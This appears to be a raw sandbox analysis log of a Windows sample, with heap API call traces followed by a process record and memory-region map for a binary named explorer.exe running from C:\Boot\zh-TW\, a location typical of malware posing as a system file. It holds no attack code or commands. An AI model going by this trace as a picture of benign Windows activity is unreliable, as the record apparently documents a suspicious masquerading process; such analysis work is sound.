GetProcessHeap () returned 0x2a3f45b0000 [0130.176] GetProcessHeap () returned 0x2a3f45b0000 [0130.176] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45baa50) returned 1 [0130.176] GetProcessHeap () returned 0x2a3f45b0000 [0130.176] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45baa50) returned 0x16 [0130.176] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45baa50) returned 1 [0130.176] GetProcessHeap () returned 0x2a3f45b0000 [0130.176] GetProcessHeap () returned 0x2a3f45b0000 [0130.176] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb590) returned 1 [0130.176] GetProcessHeap () returned 0x2a3f45b0000 [0130.176] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb590) returned 0x20 [0130.177] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb590) returned 1 [0130.177] GetProcessHeap () returned 0x2a3f45b0000 [0130.177] GetProcessHeap () returned 0x2a3f45b0000 [0130.177] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45d4e10) returned 1 [0130.177] GetProcessHeap () returned 0x2a3f45b0000 [0130.177] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45d4e10) returned 0x82 [0130.178] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45d4e10) returned 1 [0130.178] GetProcessHeap () returned 0x2a3f45b0000 [0130.178] GetProcessHeap () returned 0x2a3f45b0000 [0130.178] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb440) returned 1 [0130.178] GetProcessHeap () returned 0x2a3f45b0000 [0130.178] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb440) returned 0x20 [0130.178] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb440) returned 1 [0130.178] GetProcessHeap () returned 0x2a3f45b0000 [0130.178] GetProcessHeap () returned 0x2a3f45b0000 [0130.178] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45baa90) returned 1 [0130.178] GetProcessHeap () returned 0x2a3f45b0000 [0130.179] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45baa90) returned 0xe [0130.179] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45baa90) returned 1 [0130.179] GetProcessHeap () returned 0x2a3f45b0000 [0130.179] GetProcessHeap () returned 0x2a3f45b0000 [0130.179] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb6e0) returned 1 [0130.179] GetProcessHeap () returned 0x2a3f45b0000 [0130.179] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb6e0) returned 0x20 [0130.179] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb6e0) returned 1 [0130.179] GetProcessHeap () returned 0x2a3f45b0000 [0130.179] GetProcessHeap () returned 0x2a3f45b0000 [0130.179] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4440) returned 1 [0130.179] GetProcessHeap () returned 0x2a3f45b0000 [0130.179] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4440) returned 0x18 [0130.180] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4440) returned 1 [0130.180] GetProcessHeap () returned 0x2a3f45b0000 [0130.180] GetProcessHeap () returned 0x2a3f45b0000 [0130.180] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4030) returned 1 [0130.180] GetProcessHeap () returned 0x2a3f45b0000 [0130.180] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4030) returned 0x20 [0130.181] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4030) returned 1 [0130.181] GetProcessHeap () returned 0x2a3f45b0000 [0130.181] GetProcessHeap () returned 0x2a3f45b0000 [0130.181] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8b60) returned 1 [0130.181] GetProcessHeap () returned 0x2a3f45b0000 [0130.181] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8b60) returned 0x20 [0130.181] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b8b60) returned 1 [0130.182] GetProcessHeap () returned 0x2a3f45b0000 [0130.182] GetProcessHeap () returned 0x2a3f45b0000 [0130.182] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8aa0) returned 1 [0130.182] GetProcessHeap () returned 0x2a3f45b0000 [0130.182] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8aa0) returned 0x20 [0130.182] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b8aa0) returned 1 [0130.182] GetProcessHeap () returned 0x2a3f45b0000 [0130.182] GetProcessHeap () returned 0x2a3f45b0000 [0130.182] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8b00) returned 1 [0130.182] GetProcessHeap () returned 0x2a3f45b0000 [0130.182] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8b00) returned 0x20 [0130.183] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b8b00) returned 1 [0130.183] GetProcessHeap () returned 0x2a3f45b0000 [0130.183] GetProcessHeap () returned 0x2a3f45b0000 [0130.183] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4060) returned 1 [0130.183] GetProcessHeap () returned 0x2a3f45b0000 [0130.183] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4060) returned 0x18 [0130.183] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4060) returned 1 [0130.183] GetProcessHeap () returned 0x2a3f45b0000 [0130.183] GetProcessHeap () returned 0x2a3f45b0000 [0130.183] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8b90) returned 1 [0130.183] GetProcessHeap () returned 0x2a3f45b0000 [0130.183] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8b90) returned 0x20 [0130.184] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b8b90) returned 1 [0130.234] GetProcessHeap () returned 0x2a3f45b0000 [0130.234] GetProcessHeap () returned 0x2a3f45b0000 [0130.234] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8da0) returned 1 [0130.234] GetProcessHeap () returned 0x2a3f45b0000 [0130.234] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8da0) returned 0x20 [0130.234] GetProcessHeap () returned 0x2a3f45b0000 [0130.234] GetProcessHeap () returned 0x2a3f45b0000 [0130.234] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8c80) returned 1 [0130.234] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8c80) returned 0x20 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8bf0) returned 1 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8bf0) returned 0x20 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8d40) returned 1 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8d40) returned 0x20 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4080) returned 1 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4080) returned 0x18 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8bc0) returned 1 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8bc0) returned 0x20 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4a80) returned 1 [0130.235] GetProcessHeap () returned 0x2a3f45b0000 [0130.235] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4a80) returned 0x18 [0130.235] exit (_Code=0) Thread: id = 189 os_tid = 0xc0c Process: id = "36" image_name = "explorer.exe" filename = "c:\\boot\\zh-tw\\explorer.exe" page_root = "0x32179000" os_pid = "0xc10" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x358" cmd_line = "C:\\Boot\\zh-TW\\explorer.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3744 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3745 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3746 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3747 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 3748 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3749 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3750 start_va = 0xca0000 end_va = 0xe99fff monitored = 1 entry_point = 0xe9131e region_type = mapped_file name = "explorer.exe" filename = "\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe") Region: id = 3751 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3752 start_va = 0x7ff5ff6f0000 end_va = 0x7ff5ff712fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff6f0000" filename = "" Region: id = 3753 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4180 start_va = 0x400000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4181 start_va = 0x7ffa61fc0000 end_va = 0x7ffa62027fff monitored = 1 entry_point = 0x7ffa61fc4970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4182 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4183 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4263 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4264 start_va = 0x7ff5ff5f0000 end_va = 0x7ff5ff6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff5f0000" filename = "" Region: id = 4265 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4266 start_va = 0x5f0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4267 start_va = 0x6f0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 4268 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4269 start_va = 0x7ffa76220000 end_va = 0x7ffa76298fff monitored = 0 entry_point = 0x7ffa7623fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4270 start_va = 0x7ff5ff570000 end_va = 0x7ff5ff5edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4271 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4272 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4273 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4274 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4275 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4276 start_va = 0x6f0000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 4277 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4278 start_va = 0x170000 end_va = 0x176fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4331 start_va = 0x7ffa624c0000 end_va = 0x7ffa6255cfff monitored = 1 entry_point = 0x7ffa624c1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4332 start_va = 0x180000 end_va = 0x186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4333 start_va = 0x7ffa7b220000 end_va = 0x7ffa7b271fff monitored = 0 entry_point = 0x7ffa7b22f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4334 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4335 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4336 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4701 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4702 start_va = 0x190000 end_va = 0x1c8fff monitored = 0 entry_point = 0x1912f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4703 start_va = 0x8f0000 end_va = 0xa77fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 4704 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6537 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 6538 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 6539 start_va = 0xa80000 end_va = 0xc00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 6540 start_va = 0xea0000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ea0000" filename = "" Region: id = 6541 start_va = 0x22a0000 end_va = 0x2492fff monitored = 1 entry_point = 0x249131e region_type = mapped_file name = "explorer.exe" filename = "\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe") Region: id = 6542 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 6543 start_va = 0x7ffa76d30000 end_va = 0x7ffa76d39fff monitored = 0 entry_point = 0x7ffa76d31350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6569 start_va = 0x7ffa5e8d0000 end_va = 0x7ffa5f2b5fff monitored = 1 entry_point = 0x7ffa5e8d5b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6570 start_va = 0x7ffa623c0000 end_va = 0x7ffa624b6fff monitored = 0 entry_point = 0x7ffa623e4d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 6812 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 6813 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 7101 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 7102 start_va = 0x7ff9ff1b0000 end_va = 0x7ff9ff1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1b0000" filename = "" Region: id = 7103 start_va = 0x7ff9ff1c0000 end_va = 0x7ff9ff1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1c0000" filename = "" Region: id = 7104 start_va = 0x7ff9ff1d0000 end_va = 0x7ff9ff25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1d0000" filename = "" Region: id = 7105 start_va = 0x7ff9ff260000 end_va = 0x7ff9ff2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff260000" filename = "" Region: id = 7106 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 7107 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 7108 start_va = 0x22a0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 7109 start_va = 0x22a0000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 7110 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 7111 start_va = 0x23e0000 end_va = 0x24dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 7203 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 7204 start_va = 0x24e0000 end_va = 0x1a4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 7432 start_va = 0x1a4e0000 end_va = 0x1a84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a4e0000" filename = "" Region: id = 7433 start_va = 0x1a850000 end_va = 0x1a958fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a850000" filename = "" Region: id = 7434 start_va = 0x7ffa7a990000 end_va = 0x7ffa7a997fff monitored = 0 entry_point = 0x7ffa7a9910b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 7435 start_va = 0x1a960000 end_va = 0x1aa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a960000" filename = "" Region: id = 9415 start_va = 0x1aa60000 end_va = 0x1ab5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 9416 start_va = 0x1ab60000 end_va = 0x1ac5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ab60000" filename = "" Region: id = 9498 start_va = 0x1ac60000 end_va = 0x1af96fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 9656 start_va = 0x7ffa5d3e0000 end_va = 0x7ffa5e8c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 9829 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9830 start_va = 0x4c0000 end_va = 0x57ffff monitored = 0 entry_point = 0x4e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9831 start_va = 0x4c0000 end_va = 0x59cfff monitored = 0 entry_point = 0x51e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 10281 start_va = 0x7ffa76e20000 end_va = 0x7ffa76eb5fff monitored = 0 entry_point = 0x7ffa76e45570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 10282 start_va = 0x1afa0000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afa0000" filename = "" Region: id = 10305 start_va = 0x7ff5ff550000 end_va = 0x7ff5ff5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ff550000" filename = "" Region: id = 10306 start_va = 0x7ff5ff540000 end_va = 0x7ff5ff54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ff540000" filename = "" Region: id = 10329 start_va = 0x7ff9ff2d0000 end_va = 0x7ff9ff2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2d0000" filename = "" Region: id = 10330 start_va = 0x7ff9ff2e0000 end_va = 0x7ff9ff2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2e0000" filename = "" Region: id = 10340 start_va = 0x7ff9ff2f0000 end_va = 0x7ff9ff32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2f0000" filename = "" Region: id = 10341 start_va = 0x7ffa621f0000 end_va = 0x7ffa622fdfff monitored = 1 entry_point = 0x7ffa621f1080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 10342 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 10343 start_va = 0x1afa0000 end_va = 0x1b09ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afa0000" filename = "" Region: id = 10344 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 10345 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 10404 start_va = 0x7ffa5c790000 end_va = 0x7ffa5d3d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 10454 start_va = 0x7ffa5be00000 end_va = 0x7ffa5c781fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = 